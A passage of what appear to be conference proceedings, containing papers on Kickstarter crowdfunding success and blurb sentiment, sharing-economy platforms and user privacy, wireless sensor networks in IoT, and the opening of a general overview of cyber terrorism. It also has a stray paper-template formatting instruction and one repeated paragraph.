Mentioned systems of electronic money seem more advanced in comparison to the previous ones. Both systems are ahead of current understanding of money, so it could be expected that in the present form or with smaller modifications they could be applied in specific IoT solutions. Traditional financial institution could not be expected to give up easily the fight for the new market. The good example is Visa which for a long time announces its payment alternative Visa Ready program that would enable payment in tokens for home devices [26]. Experiences showed us that in the very start there would not be unique solution, so the new system would coexist with the existing one. In the far future the concept of state electronic money would be a generally acceptable solution for final access to IoV.

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DATA SCIENCE AS DECISION MAKING SUPPORT FOR CREATING SUCCESSFUL CROWDFUNDING CAMPAIGNS: LESSONS LEARNED FROM KICKSTARTER

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Abstract:

Crowdfunding presents an opportunity for entrepreneurs to launch their ventures or to scale them globally without having to rely on traditional funding. The request for raising funds and other possible resources through social media and direct communication with prospective buyers and investors are key factors that differ it from the conventional financing. There are more than thousand projects that are being opened every single day on different crowdfunding platforms and their success depends on certain factors. There are factors that people may be aware of, but to be certain, only analysis of the previous campaigns can show what the factors that contribute to the project success are and which road should people take in order to raise higher amount of money. Data science is an arising interdisciplinary field that has its root in statistics and mathematics, and along with them it draws its theories from information and computer sciences. Its process consists of gathering and processing data in order for further exploratory analysis, and other processes that will eventually lead to data driven decision making that should be of higher quality than decision making lead by the rule of thumb. This research paper offers indirect outline which project is supposed to follow in order to become successfully financed on Kickstarter crowdfunding platform. The paper focuses on the first insights we have gained from more than 250.000 projects that were started on this platform thus giving valuable information that may be used to estimate the success of the future ones.

Keywords:

crowdfunding, Kickstarter, data driven decision making, alternative financing, data science.

1. INTRODUCTION

Crowdfunding presents a new way for entrepreneurs to raise funds for their projects, without need to rely on traditional funding systems such as banks. It is currently on the growth, getting more popularity each day, thus leading to more money being invested in the projects that are started this way. Beginning of the crowdfunding as we know it now is connected to the launch of Artistshare platform in 2003. It has been followed by other platforms, some of which are now recognized and famous IndieGoGo (2008) and Kickstarter (2009). Crowdfunding, as stated in [1] has been widely used since then to fund wide range for-profit entrepreneurial ventures such as artistic and creative projects, medical expenses, travel or community-oriented social entrepreneurship projects.

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e-mail: nrstevanovic@gmail.com After the initial hype and rush, logical step in every field is to analyze what happened and how it happened in order to make better decision in the future, or to at least leave impression that that is what you are doing. In order for that to happen first step would be acquiring the essential data. That is the moment when the data science comes at play.

Data science is, according to an early and one of the first definitions in [2], a concept to unify statistics, data analysis, and their related methods in order to understand and analyze actual phenomena with data. If we take a look from a more modern point of view, we may say that data science is an interdisciplinary field focused on scientific methods, processes and systems to extract knowledge or insights from data in various forms, structured or unstructured, according to Jeff Leek prominent professor in traditional and modern (massive online open course) terms in [3]. Kickstarter platform is used as initial platform for gaining first insights on how the crowdfunding process works and its successfulness.

2. CROWDFUNDING: A BRIEF SUMMARY

Concept

Crowdfunding is a method for funding new ventures or social/private causes allowing founder i.e. creators of any type of project to request funding from many individuals, often in return for future products or equity. Projects themselves can range greatly in both goal and magnitude, from small projects that are not profitable, yet have huge importance to their creators, to the multimillion dollar projects that are aimed to large group of people. Persons that invest money this way usually receive some kind of incentive to do so in the first place, that can be either preordering of the stuff that is yet to be created or made or similar.

Types of crowdfunding

The Crowdfunding Centre's May 2014 report identified two primary types of crowdfunding: reward crowdfunding and equity crowdfunding, although debt based is gaining more popularity in corporate setting, and donation based in charity setting respectively.

Reward crowdfunding presents entrepreneurs who presell a product or service to launch a business concept without incurring debt or sacrificing equity/shares. This concept is the most popular one and is widely used by major crowdfunding platforms. Equity crowdfunding presents the backer who receives shares of a company, usually in its early stages in exchange for the money pledged. Equity crowdfunding is the collective effort of individuals to support efforts initiated by other people or organizations through the provision of finance in the form of equity.

Debt-based crowdfunding (also known as "crowdlending") functions on principle that Borrowers apply online, generally for free, and their application is reviewed and verified by an automated system, which also determines the borrower's credit risk and interest rate. Investors buy securities in a fund which makes the loans to individual borrowers or bundles of borrowers. Investors make money from interest on the unsecured loans; the system operators make money by taking a percentage of the loan and a loan servicing fee.

Donation-based is charity oriented crowdfunding where the collective effort of individuals is to help charitable causes.

3. DATA SCIENCE – APPROACH AND OUTLINES

Historical view- important dates

The term data science was first included in the name of the conference in 1996, when members of the International Federation of Classification Societies (IFCS) met in Kobe for their biennial conference ("Data Science, classification, and related methods") after the term was introduced in a roundtable discussion by Chikio Hayashi in [1] Before you begin to format your paper, first write and save the content as a separate text file. Keep your text and graphic files separate until after the text has been formatted and styled. Do not use hard tabs, and limit use of hard returns to only one return at the end of a paragraph. Do not add any kind of pagination anywhere in the paper. Do not number text heads-the template will do that for you.

In 2001, William S. Cleveland in [4] introduced data science as an independent discipline, extending the field of statistics to incorporate "advances in computing with data" in his article "Data Science: An Action Plan for Expanding the Technical Areas of the Field of Statistics," which was published in Volume 69, No. 1, of the April 2001 edition of the International Statistical Review / Revue Internationale de Statistique. In his report, Cleveland establishes six technical areas which he believed to encompass the field of data science: multidisciplinary investigations, models and methods for data, computing with data, pedagogy, tool evaluation, and theory.

Data Science – From Data to Insight

Every data science process starts with collecting raw data from real life environment. Taking into consideration that more is better, and that large samples are highly valued, automatization of scraping process plays a huge part at this first step.

After the initial acquiring of the data the next step is processing in order to get a grasp of what research does have, removing outliers and other material that is of no value and that can be disturbance and omit results.

Exploratory data analysis is what most people think of data analysis and that is the moment when research can see some first insights that are supported by facts and figures.

Decision making is the last step in the process and in order for it to happen it is necessary to communicate visualize report so decision makers could see a whole picture and understand what change will drive desired outcome.

4. KICKSTARTER – CROWDFUNDING PLATFORM

How it all began

Kickstarter is launched in 2009. and shortly after that it was named as one of the" Best inventions of 2010" and "Best Websites of 2011" by Time magazine. Kickstarter is currently largest crowdfunding platforms in the world, regarding the number of projects that got open every day and money that is attracted on it. It is one of the many platforms that exist these days and whose purpose is to gather money from the public in a nontraditional way. Since its debut in 2009. Kickstarter popularity is on the rise, and at the end of 2016. it looked like this, according to [5], and reported by platform itself in that period.

Total amount of dollars pledged to Kickstarter projects	Successfully funded projects	Total backers	Repeat backers	Total pledges
\$2.759.893.417	116.013	12.086.881	3.839.956	34.781.312

Table 1. Facts and figures regarding projects support

Current business model proposition that platform uses is oriented toward self-sustainability. In order for reaching that Kickstarter is imposing 5% fee on successfully funded projects, plus the payment processing fee that varies between 3-5% depending on the country that backers reside in polarity versus successfulness.

Decision making is the last step in the process and in order for it to happen it is necessary to communicate visualize report so decision makers could see a whole picture and understand what change will drive desired outcome.

Project categories

Crowdfunding platforms like this have high exposure to the general public and that leads to the large potential base of backers that may support projects. Its number and names were changing over times, but current categories that Kickstarter serves are: Film & Video, Music, Publishing, Technology, Games, Food, Design, Art, Fashion, Photography, Crafts, Comics, Theatre, Journalism and Dance.



Fig. 1. Project categories and their represantation on Kickstarter platform

As the data shows available in dataset, and on Kickstarter website shows, Music and Film & Video are parent categories that have had the highest number of successful project. On the same note, it is of importance to mention that their number of unsuccessful project is the highest one as well.

		state					
		canceled	failed	live	successful	suspended	Total
category_parent_id	Art	1254	8113	163	6564	46	16
	Comics	292	1293	139	1950	13	3
	Dance	46	414	14	561	10	1
	Design	270	1521	413	4347	17	6
	Fashion	522	5409	242	1950	52	8
	Food/Drink/Event	935	6623	190	1993	75	9
	Film & Video	1228	10406	404	14143	41	26
	Games	712	4107	464	6475	82	11
	Journalism	249	1540	46	402	28	2
	Music	1480	10355	286	15493	69	27
	Photography	387	2337	69	999	29	3
	Technology	2118	11499	435	3645	191	17
	Theater	191	1045	48	1590	8	2
	Publishing	610	9716	354	8386	23	19
	Crafts	286	1966	64	672	34	3
Total		10580	76344	3331	69170	718	160

category_parent_id * state Crosstabulation

Table 2. Relation between category and project outcome

Polarity as the factor for project success

In order for gaining attention and promote themselves to their prospective audience, project creators have to fulfill certain steps. One of the basic ones and the required one is for them to write a small "blurb" about the core idea of the project. It is supposed to be straight to the point and to present the project in the best way so that the people can become curious to learn more about the project, read additional article, watch video if available, check other materials and eventually back i.e. support the project. As it can be seen in Table 3. people are aware that negative sentiment can affect success of their campaigns so they tend to leave a positive tone in their presentation.

	Frequency	Percent	Valid Percent	Cumulative Percent
Missing required parameter(s) - [txt]	1	,0	,0	,0
Insufficient parameters	19	,0	,0	,0
N	14905	9,3	9,3	9,3
N+	4030	2,5	2,5	11,8
NEU	7863	4,9	4,9	16,7
NONE	30507	19,0	19,0	35,8
Р	82771	51,7	51,7	87,5
P+	20047	12,5	12,5	100,0
Total	160143	100,0	100,0	

Table 3. Projects polarity based on their blurb

As the data shows in Table 4. we can see that projects that had positive sentiment had the highest number of successful projects, and on the other side ones that had negative sentiment had the lowest number of successful projects. On that note the data shows that relation between successful and failed project across different sentiments doesn't oscillate that much, which opens the question what are the additional factors that may try to minimize this factor.

	Outcome				
	canceled	failed	live	successful	suspended
	Count	Count	Count	Count	Count
200 - Missing required parameter(s) - [txt]	1	0	0	0	0
202 - Engine internal error	1	11	1	6	0
Ν	878	6552	331	7072	72
N+	226	1813	96	1878	17
NEU	487	3623	152	3560	41
NONE	2122	14259	601	13397	128
Р	5468	40295	1702	34936	370
P+	1397	9791	448	8321	90

Table 4. Projects	outcomes in re	elation with	their
	polarity		

5. CONCLUSION

Crowdfunding is improving the way in which people are getting the funding from the interested parties in order for their ideas to be brought to life. Different types of platforms and wide range of categories on them provide infinite number of possibilities to entrepreneurs. In order for projects to be successful their creators have to aware what resonates best with their audience. For that they need to present their idea in the way that will leave positive impression, and sentiment that will engage people. The further research on acquired dataset and its update with new cases will try to show us the meaningful connections between different factors that are influencing the success of the projects and to see in depth what factors may affect sentiment and lower its sole effect on success of the crowdfunding campaigns.

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INTERNET AND DEVELOPMENT PERSPECTIVES

SHARING ECONOMY – DISRUPTIVE INTERNET BASED BUSINESS MODELS OF THE FUTURE

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Abstract:

Technology-enabled, peer-to-peer and business-to-peer platforms, commonly referred to as the "sharing economy", have grown exponentially in the past several years. These platforms offer feedback mechanisms to their users, are efficient in gaining their trust and are thus perceived as reliable providers of services and at lower prices compared to traditional service providers. The effects of these new business models are astonishing - no more than five-yearold company Uber operates in more than 250 cities all over the world and its estimated value is over \$40 billion. However, such a huge success has also some downsides. First of them is the problem with the security of the data exchanged on the platforms. Secondly, collaborative platforms are difficult to monitor. Technology is the key driver of the sharing economy. At the same time, the sharing economy can significantly contribute to the technology on which it was built - by making it more popular to the wider audience. The sharing economy has proven to be successful in generating profit to their owners, but the question is will it be as successful in maintaining the trust of the consumers by ensuring their security.

Keywords:

sharing economy, P2P, online travel agencies, security.

1. INTRODUCTION

Over the past two decades, technological advancements have facilitated the appearance and renewal of many businesses. Global business environment is challenging and unstable, and requires companies to focus on improving flexibility and ability to adjust to constant changes in the external environment. "New technologies will yield … empowerment of ordinary people, efficiency, and even lower carbon footprints" (Schor, 2014). P2P platforms arose from entrepreneurial ideas based on new technologies, today they "are motivated by economic, environmental, and social factors" (Schor, 2014). Innovative business models of Uber, AirBnB, Amazon, Spotify and other popular P2P platforms "allow individuals and groups to make money from underused assets" (PWC, 2015). These platforms are part of the sharing economy. Botsman and Rogers (2010) define sharing economy as "an economic model driven by network technologies that enables things and skills to be shared or exchanged in ways and on a scale not possible before". Sharing economy is based on the Internet and

it allows consumers to interact and share content. These peer-to-peer platforms facilitate the exchange associated with the rise of collaborative consumption, and include Airbnb, Uber, Zipcar, TaskRabbit and similar (Lecaros-Aquise, 2014).

2. THE RISE OF P2P PLATFORMS

In 2008, when Brian Chesky and Joe Gebbia advertised accommodation to attendees of different conferences using a website called airbedandbreakfast.com little did they know that in less than 10 years their website will be used by an average of 425,000 people worldwide every night (Times, 2015). Ever since, many P2P platforms appeared, offering different types of services. Technology platform provider of these services charges an Intermediation fee for the use of the platform and provides:

- Traffic platform connects the providers and the users of the service, and develops the network to enhance its influence.
- Background check as the peer-to-peer market connects vast numbers of individuals from all over the world, the platform providers offer a background check thus offering both the users and the providers of services a kind of warranty and reduce the risks involved in the purchase of the services.
- Feedback mechanism as the background check cannot provide definite guarantee for users and providers of the service, the platform provider ensures the quality and the satisfaction to both sides through user-driven feedback mechanism. Reputation and trust are the key characteristics of online sales; thus, all providers and guests share the same interest which is to reduce the risks resulting from the purchase and provision of service to unknown individuals. The feedback mechanism is especially efficient if multiple transactions occur and ensures that users and providers of services who do not comply with the rules are less probable to repeat undesirable behavior.
- Risk Management To mitigate the risks of doing business with unknown partners across the world, platform providers also provide insurance against damage to service providers and reimbursement if services were not delivered to users.
- Logistics A platform providers offer transaction processing, analytics about customer satisfaction valuable to service providers, as well as useful

discounts on additional services such as rent a car or similar.

Peer-to-peer platforms cannot control actual provision of the service (Chen et al., 2009). However, customer satisfaction depends on usability of the platform, data safety during financial transactions, quality of communication and customer service and sales support (Papaioannou, 2013). Also, convenience and accessibility are important for the users of P2P platforms (The Daily Best, 2010). Customers value ease of payment (IFPI, 2014). Trust, however, is the key to attracting more users and providers to the community (The Economist, 2013).

The Economics and Statistics Administration of the U.S. Commerce Department (2016) defines P2P platforms based on the four main characteristics (Belk, 2014):

- All platforms are web-based and use information technology (IT systems), or use mobile "apps" on Internet-enabled devices to facilitate peer-to-peer transactions.
- All platforms base their quality control and users and providers protection on user-based rating systems.
- All platforms employ part-time workers who work from their homes.
- Workers use their own tools and assets to provide a service.



Fig. 1. Sharing economy is present in all aspects of modern life Source: http://www.economist.com/news/ leaders/21573104-internet-everythinghire-rise-sharing-economy

3. OTA'S

Online companies like Booking.com, Expedia, Travel Bird and similar provide travelers with comfortable and easy solutions when deciding on their accommodation and other services while traveling. Online travel agencies succeeded in reducing the time and efforts needed for the search and reservation and customers were able to access a range of travel offers "after just one search" (Yacouel & Fleischer, 2012).

The online travel agencies websites are customer oriented and easy to use, and they provide more information. Thus, their design and quality is superior to the hotels' websites. Finally, they provide a mechanism for reservations and payment of the desired product (Go & Pine, 1995).

Similar to P2P platforms, online travel agencies rely on trust and data security, and use similar mechanisms of risk management. Noone and McGuire (2013) found that "user-generated content (reviews) has a significant effect on perceived value when evaluating price-versus-benefit tradeoffs". Online travel agencies are thus perceived as more trustworthy by the customers as the opinions and reviews published are created by the people who actually visited the hotels and experienced their services (Yacouel and Fleischer, 2012). OTA's use their websites to offer additional services such a car rental offerings, airplane tickets, destination guides and travel tips (Kaynama & Black, 2000).

OTA's maintain their high "digital presence" and attract more people to their websites than hotels (Blankenbaker & Mishra, 2009). For example, the research shows that "it takes 1 hour to search and book a hotel directly", compared to 32 minutes to do the same over online travel agency (HRS provider, 2015). Consequently, it is estimated that 80% of reservations are made through online travel agencies (Morgan Stanley, 2015).

Online travel agencies collect information from the hotel databases and reservation system, and present the customer with data on the availability and the price of rooms according to the customer inquiry. When a customer decides to make reservation of the room, based on what is offered to him, online travel agency forwards their request to the hotel reservation system, upon which it collects a commission from the hotel in which the room was booked (Clemons, Hann, & Hitt, 2002).

4. DATA PRIVACY

One of the biggest concerns among the travelers using online platforms is data privacy. P2P platforms collect sensitive information about millions of people, including identity, credit card numbers, location data and purchasing habits.

The study of Electronic Frontier Foundation (2016) examines social networking sites, email providers, ISPs, cloud storage providers, and other companies, and their practices and policies concerning transparency reports, respect of the law enforcement guidelines, notification of users and a warrant for content requiries. The reports have shown that many P2P platforms have improved their practices over time to ensure compliance with local and state laws.

For example, Uber and Lyft focus on transparency and user privacy. For example, FlipKey requires a warrant for publishing user content or location data, while Airbnb and Instacart, require a warrant for content, publish law enforcement guidelines, and are members of the Digital Due Process Coalition. However, many of the leading P2P platforms ignore the privacy and security of their users.

Feedback is a powerful mechanism in risk management of online platforms, but ratings can be false, biased or reflect socially desirable behavior or strategic manipulation (Zervas et al., 2015). Thus, besides data protection, P2P platforms need to ensure viability of user-generated content which is usually uploaded onto platforms to facilitate and support decision making process.

Data protection rules apply on the online distribution of user-generated content including third parties' personal data and thus are used to diminish violation of data protection rights, which may take place outside of the conditions established by data protection law (de Azevedo Cunha, et al., 2012). OTA's and other online platforms are particularly vulnerable as they do not have mechanisms to exercise control over the spreading of the content. Many peer platforms attempt to verify the identity of peers to reduce the risks. Finally, secure and trustworthy payment systems are considered another important enabler of trust and safety in peer transactions (Piper Jaffray, 2015: 8). Many peer platforms offer such services, often in co-operation with established external payment systems (OECD, 2016). Many of these payment systems are themselves subject to governmental regulation or oversight (OECD, 2016).



5. CONCLUSION

Safeguarding user data against unwarranted government or other individual's access demands is very important for developing trust between the users and providers of service, as well as between platform providers and other stakeholders. As trust is the essence of successful operations of the platforms, many providers attempt to verify the identity of the users, control user content and use payment systems monitored by the government agencies. However, given the lack of legislation concerning online businesses, especially P2P platforms, their providers need to invest more into ensuring the safety and privacy of their users, as well as into viability of the shared user content.

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WIRELESS SENSOR NETWORKS INTEGRATION INTO INTERNET OF THINGS

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Abstract:

Wireless sensor networks usually consist of a large number of sensor nodes forming a network. Sensor nodes are miniature autonomous devices with very limited resources, capable of collecting and processing data from the surrounding area, and transmitting this data wirelessly over short distances via radio transmitters. The range of wireless sensor networks applications varies from the environment monitoring and detecting forest fires, climate changes monitoring, tele-health monitoring, detecting toxic fumes in factories, to smart sensor systems in the car. With the emerging technology of Internet of Things, the importance and number of applications of wireless sensor networks are increasing every day. Wireless sensor networks are one of the most important parts of the whole Internet of Things concept. The main idea of Internet of Things is to provide smart world, where every device has built-in intelligence, and is connected to other devices in the environment. As such, Internet of Things basically integrates the world of information with real devices, and enables us to have immediate access to this information. Wireless sensor networks provide aspect of surveillance, physical phenomena detection, environment monitoring and remote access to Internet of Things. This paper surveys the current state of the art of wireless sensor networks and Internet of Things, presents challenges of integrating two technologies together, and gives an overview of the new applications of wireless sensor networks in the scope of Internet of Things.

Keywords:

Wireless sensor networks, Internet of Things, sensor nodes.

1. INTRODUCTION

Wireless sensor networks typically consist of large number of sensor nodes. Each node of the network has sensing ability (temperature, pressure, vibration, sound, humidity, etc.). At the same time, each node is router as well. Sensor nodes have very limited resources. They are autonomous devices which collect data from the surrounding area and transmit this data wirelessly over short distances, typically 1-10 meters. Wireless sensor networks use large number of these devices to form a network without any previously established infrastructure.

Sensor nodes forming wireless sensor network are small, so resources for data processing, data storage, communication and energy are very limited. All nodes are usually designed following general architecture based on the central processing unit, around which different UI components, communication interfaces and power source are placed. Figure 1 shows this general structure of the sensor node, with the microcontroller, communication devices, sensors and actuators, memory and power source.



Fig. 1. General structure of the sensor node

The central part of this structure is a microcontroller, general purpose processor optimized for low power consumption. Communication block usually consists of one or more communication devices embedded on the node, such as a radio transmitter, Bluetooth, GSM/UMTS, etc. Each node has physical sensors, which can be passive or active (radar), focused (camera) or multidirectional (temperature, vibration, etc.) with different areas of coverage. Each node has one or more power sources, which need to provide as much energy as possible at lowest possible cost in terms of price, size, weight and recharge time. Charging of the batteries is not always an option in wireless sensor networks. Memory block typically depicts additional flash memory, as in the most cases available RAM memory is negligible. For the given fixed processing power, chip is becoming smaller and cheaper every year due to recent advances in semiconductor technology.

These cheap wireless sensor nodes with low energy consumption can be distributed in the physical area in order to collect data about the physical phenomena under observation. They can process the data, and communicate and coordinate actions with each other. In most cases, large number of distributed sensor nodes is required to overcome obstacles such as walls, optical visibility limitations, ground configuration, etc. The area under observation often does not have any existing infrastructure in terms of communications and energy sources (forests, active volcanoes, etc.). Communications between the nodes is the biggest energy consumer in wireless sensor network. Large number of transmissions over large distances lead to large energy consumption, and consequently failure of the nodes due to empty batteries. It is imperative to keep the number of wireless transmissions minimal, in order to keep network operational over longer periods of time. Typical wireless sensor network architecture is shown in Figure 2. Nodes collect data and send it to the sink node, or base station. Data is then transferred to the end user via Internet network.



Fig. 2. Architecture of wireless sensor networks

Sensor nodes have simple microcontrollers, and miniaturization allows operation on 10 MHz with energy consumption of 1mW. Most of the components of the node can be switched off if needed, and in standby mode energy consumption is around 1 microwatt. If device is active approximately 1% of time, the average consumption is only several microwatts. These simple microcontrollers, however, have very limited storage capacity, typically less than 10 KB RAM memory for data and less than 100 KB ROM for programs, which is one million times less than average PC [1].

Wireless sensor network formed of these low power sensor nodes, coupled with Big Data analytics and cloud computing led to a great interest and expansion of Internet of Things. With this combination of technologies, we can place multiple sensor nodes anywhere where there is valuable information which needs to be collected, even in places without proper communications and power infrastructure.

Recently, there is an increasing number of researches targeting integration of wireless sensor networks in Internet of Things, with possible applications including medicine, remote patient tracking, environment monitoring, operation in hazardous environments such as active volcanoes, radioactive areas and industrial sites with toxic vapors. Most of the research papers focus on security issues that arise from integration, such as [2], [3]. Other papers focus on possible applications, most notably tele-health care and medical applications, such as [4].

2. INTERNET OF THINGS

The Internet of Things (IoT) has been defined in Recommendation ITU-T Y.2060 as a global infrastructure for the information society, enabling advanced services by interconnecting (physical and virtual) things based on existing and evolving interoperable information and communication technologies [5]. The basic concept of IoT is simple - connecting various devices over the Internet, and thus, making them "smart". The future Internet, based on IoT, is predicted to be "a world-wide network of interconnected objects uniquely addressable, based on standard communication protocols" [6]. Any "thing", identified by a unique address, will be able to join the network dynamically, and cooperate with other "things" to achieve different tasks. These "things" can be any object, including computers, mobile phones, sensors, home appliances, vehicles, wearable devices including health and fitness monitoring, watches and so on. The growth of the number and variety of devices which can collect data is incredibly rapid. The number of connected devices surpassed the human population in 2010, and some studies estimate that the number of Internet connected devices will be 50 billion by the year 2020 [7]. In other words, there will be 6.5 connected devices per each person in the world. IPv6 is going beyond IPv4 limitations (4 billion addresses only) and it will provide more address space to enable level of scalability required for IoT and Cloud Computing.

The devices connected to IoT can effectively be separated in three classes:

- The smallest devices (including sensor nodes), which have embedded 8-bit microcontrollers. Open source hardware platform Arduino Uno is one example.
- System based on Atheros and ARM chips, with limited 32-bit architecture, such as Arduino Zero
- Full 32-bit or 64-bit computing platforms. These are most capable IoT platforms, including mobile phones or Raspberry Pi. Such devices may also be gateways for smaller devices, for example wearable sensors which connect via Bluetooth Low Energy to mobile phone, which acts as a gateway to the Internet.

There are many different types of communication between devices and the gateway/Internet. Most typical models are:

- Direct Wi-Fi connectivity (TCP or UDP)
- Near Field Communication (NFC)

- Bluetooth Low Energy (BLE)
- ZigBee
- Point-to-point radio links
- UART

Devices can have direct Wi-Fi connection (TCP or UDP) to the Internet and server side cloud. This is the case with more capable devices, such as mobile phones and Raspberry Pi. These devices can interact with cloud services directly. Smaller devices, including most of the common sensor platforms do not have direct access to the Internet. They communicate with gateways on short distances via BLE, ZigBee or similar. As mentioned above, gateways themselves can be IoT devices, i.e. Raspberry Pi.

The other aspect of the IoT, apart from devices themselves, is the server side architecture that supports them. The servers are usually based on Cloud Computing. According to the American National Institute of Standards and Technology (NIST), "Cloud Computing is a model that allows convenient access to the configurable network resources on demand". By providing computing, network and data resources, cloud offers large number of services, applications, data and infrastructures to the users. Cloud components can be configured, secured, implemented, scaled up or down, or completely removed quickly [8]. Cloud Computing is different from traditional Internet services as it has dynamic and flexible architecture. Today, it is not needed to pay attention to the background infrastructure when accessing content on the Internet, and Cloud Computing is offering such model for providing computing services. The most popular Cloud Computing providers include Amazon and Elastic Compute Cloud (EC2), Microsoft Azure platform and Google Cloud Platform. Open source community has also been very active in Cloud Computing, with numerous solutions in fields such as system and network virtualization. One of the most important features of Cloud technologies is scalability, in terms of ability of the Cloud to adapt to smaller or larger scale of the required amount of processing. Complete implementation is hidden behind the Cloud, and users get exactly what they require. Additionally, Cloud systems are very reliable.

3. WIRELESS SENSOR NETWORK INTEGRATION

Wireless sensor networks play a major role in Internet of Things, by collecting data from surrounding environment. New challenges arise when wireless sensor networks are configured to access the Internet, and will be discussed later. Integration and connection of wireless sensor network into the Internet can be done in one of the three main approaches, described in [9].

First approach, currently used by the most wireless sensor networks implementations, is based of connecting Internet and WSN through a single gateway (base station), as shown in Figure 3. Since sensor nodes do not have direct access to the Internet, WSN is independent, thus more secure. However, downside is that in this approach there is single point of failure. If gateway is down, complete WSN becomes disconnected from the Internet.



Fig. 3. Single gateway connection

The second approach is based on multiple gateways, forming a hybrid network with increased integration level, as shown in Figure 4. Sensor nodes still do not have direct access to the Internet, but risk of gateway failure and WSN disconnection from the Internet is greatly reduced, making the network more robust.



Fig. 4. Hybrid network with multiple gateways

The third approach is based on the idea that sensor nodes can join the Internet in one hop, as shown in Figure 5. It is based on the WLAN structure and forms access point network. This approach is particularly useful in applications requiring direct connectivity to the Internet and low latency.



Fig. 5. Nodes can join internet in one hop

There is large number of different technologies available for sensor networks, including network support, operating systems, etc. However, support usually ends on the network gateway, leaving open space for implementation of ad hoc solutions for modelling and analysis of data collected by sensor nodes. Implementation of back-end resources could be particularly problematic in case of application of sensor networks in specific environments. For example, sensor network for detection of forest fires uses sensor data in real time. In standard mode of operation, incoming data from sensors is not time critical (no fire detected). However, in case of forest fire, alarming first responders is time critical [10]. In case of traditional data processing technologies, manual allocating of additional processing capacity is required. On the other hand, by using elastic system as IoT and Cloud computing, it is possible to incrementally allocate additional processing power to provide better granularity of the results.

IoT integrates large scale sensor networks with Cloud Computing infrastructure. It allows sharing of large scale data between users and applications on the Cloud. Cloud provides options for easy data access, processing, visualization, archiving and searching large amounts of sensor data.

4. INTEGRATION CHALLENGES

Integration of wireless sensor networks in IoT brings new technical challenges, including complex event processing, large scale systems, real time data processing, and privacy. WSN specific challenges, such as network deployment, automatic configuration, operation without

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supervision and energy constraints are out of the scope of this paper.

Complex event processing

Incoming data from sensor networks can trigger certain events and services in real time. Applications can use this data to determine the context, location and environment of the data source and decide which other services can be relevant to the current data set to make right decisions.

Large scale systems and real time data processing

Integration in case of large sensor networks is a challenge due to large amount of data, which is collected and processed in real time. Challenge is even bigger if data include multimedia, such as video streaming or images. Sometimes multiple sets of sensor data used for decision making are geographically distributed, meaning they are coming from different locations. In that case, allocation of the resources for data processing and data storage is critical.

Privacy

Cloud is the least transparent way of providing service, as complete implementation, data storage and data processing is hidden behind the cloud. Data privacy is of the critical importance [11]. When data leave sensor network and arrive to the cloud, adversaries can try to gain access to it. Data collected by the sensor network is often sensitive, and great attention needs to be payed to security and data protection. In case of common sensor networks without Internet connectivity, adversary would need to be physically present near the targeted network to attack it (by jamming, introducing malicious node, physically destroying nodes, etc.). However, in case of IoT, wireless sensor network is open to the Internet, and adversary can attack from anywhere around the world. Security mechanisms need to be selected carefully, keeping in mind that most of the common sensor node platforms have very limited computing power, energy and storage.

5. CONCLUSION

This paper aimed to give introductory overview about the wireless sensor networks, Internet of Things, and

how the two technologies can be integrated. Integration challenges were also mentioned, the most important one being the privacy issue that needs to be addressed carefully. Internet of Things is not technology of the future - it is already happening. With the number of connected devices expected to be around 50 billion by the year 2020, the whole world is becoming one big connected thing. Integration of the wireless sensor networks with Internet of Things will bring many traditional applications of WSN to the higher lever, including tele-health care, first responders and environment monitoring. It will also enable new types of WSN applications in the future. Data is collected from the different sensor networks in the real time. Data processing is also performed in real time to make time critical decisions. Cloud services are responsible for complex tasks processing and fast response to the users.

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CYBER TERRORISM - A GLOBAL THREAT TO SOCIAL ORDER

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Abstract:

Over recent decades, development has been based on the development of information and communication technologies. The Internet, one of the most widely spread technologies today, is used by individuals, companies, government and different government agencies. The widespread use of the Internet has contributed to the amount of data and information being shared. Thus, this medium has become a field of interest for different types of attacks. Cyber terrorism, one of the more frequent types of attacks, is based on the use of the Internet, and information and communication technology. All attacks are carried out against the security of the attacked country and its inhabitants. Cyber terrorism represents the greatest threat to national and international security since the creation of nuclear weapons. The paper provides an overview of registered cyber-attacks, with special emphasis on cyber- attacks registered in the Republic of Serbia and neighboring countries. It also provides a comparison of legal regulations which sanction the illegal activities of Internet users, especially activities aimed at disrupting security of states and their citizens.

Keywords:

Cyber-attacks, cyber-crime, ISIS, global network.

1. INTRODUCTION

There is no country in the world that does not have problems with some kind of terrorism threats and attacks. Today's mankind is based on the use of information and communication technologies (ICT). People all over the world use different computer based technologies. In many cases, human life and work cannot be imagined without daily use of computers and the Internet access. Internet users communicate by means of Internet technologies and different kinds of messengers. Communication via the Internet is especially important for people living in different countries. Different Internet protocols provide security and anonymity for all Internet users. Beside online communication, Internet users can share different kind of information, different files, and can exchange ideas and find things they are interested in. On the one hand, Internet technology provides users with all basic human rights. On the other hand, they need to respect obligations and policies of the use of Internet services [1]. Daily use of public and government Internet services, social networks and other services for data exchange provide great opportunities for the abuse of such

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services. The proof of ICT wide spread is the fact that the functioning of most contemporary systems is based on ICT technologies. Power plants, water treatment plants, heating plants, air traffic control are just some examples of the systems where computers have complete control over all processes.

The extensive use of computer based systems and computer networks in different areas of human life and work has created open space for terrorist attacks. Terrorist can now attack different targets without their physical presence through the use of network services. In many cases these targets could not be attacked with conventional forms of attack. Some of them are national defense systems, nuclear plants, air traffic control systems, and systems for control of toxic waste.

In many researches the number of cyber attacks in technologically developed countries is compared to the number of cyber attacks in the countries that are not technologically developed. Particularly interesting fact is that the number of attacks in technologically developed countries is greater than one in the technically underdeveloped countries. Computer and network infrastructure in technologically developed countries is more vulnerable to cyber attacks.

Cyber terrorism represents the terrorist activity in cyberspace. This category includes all unlawful attacks on computer systems, computer networks and information owned by both individuals and governments. A cyber attack should result in violence against people or property or should generate fear among people in order to be characterized as cyber terrorism. As with traditional terroristic attacks, the main purpose of cyber attacks is human loss, the infliction of injury, material and economic damage to personal property. Attacks on critical government and military infrastructures could be characterized as cyber terrorism. [2].

The goal of this paper is to provide basic information for readers about cyber terrorism activities. The paper gives an overview of registered cyber attacks in Serbia and aboard. The paper analyzes the ways in which the attacks are carried out as well as the mechanisms of defense, from the technical and legal perspective.

The first section describes differences between physical and cyber terrorism. This section provides an overview of the advantages of cyber terrorism against physical terrorism in terms of the execution of terrorist acts. The second section represents some of the registered cyber attacks all over the world. Some of them can be classified simply as hacking, but some of them are more serious than that. In the third section cyber attacks registered in Serbia and former Yugoslav republics are being summarized. The fourth section describes technical and legal aspects needed for successful fight against cyber terrorism, while the fifth section summarizes main conclusions.

2. CYBER TERRORISM

Cyber attacks are just one of the possible Internet abuses that have a terrorist background. Six overlapping categories of Internet terrorist abuses are: propaganda, financing, training, planning, execution, and cyber attacks.

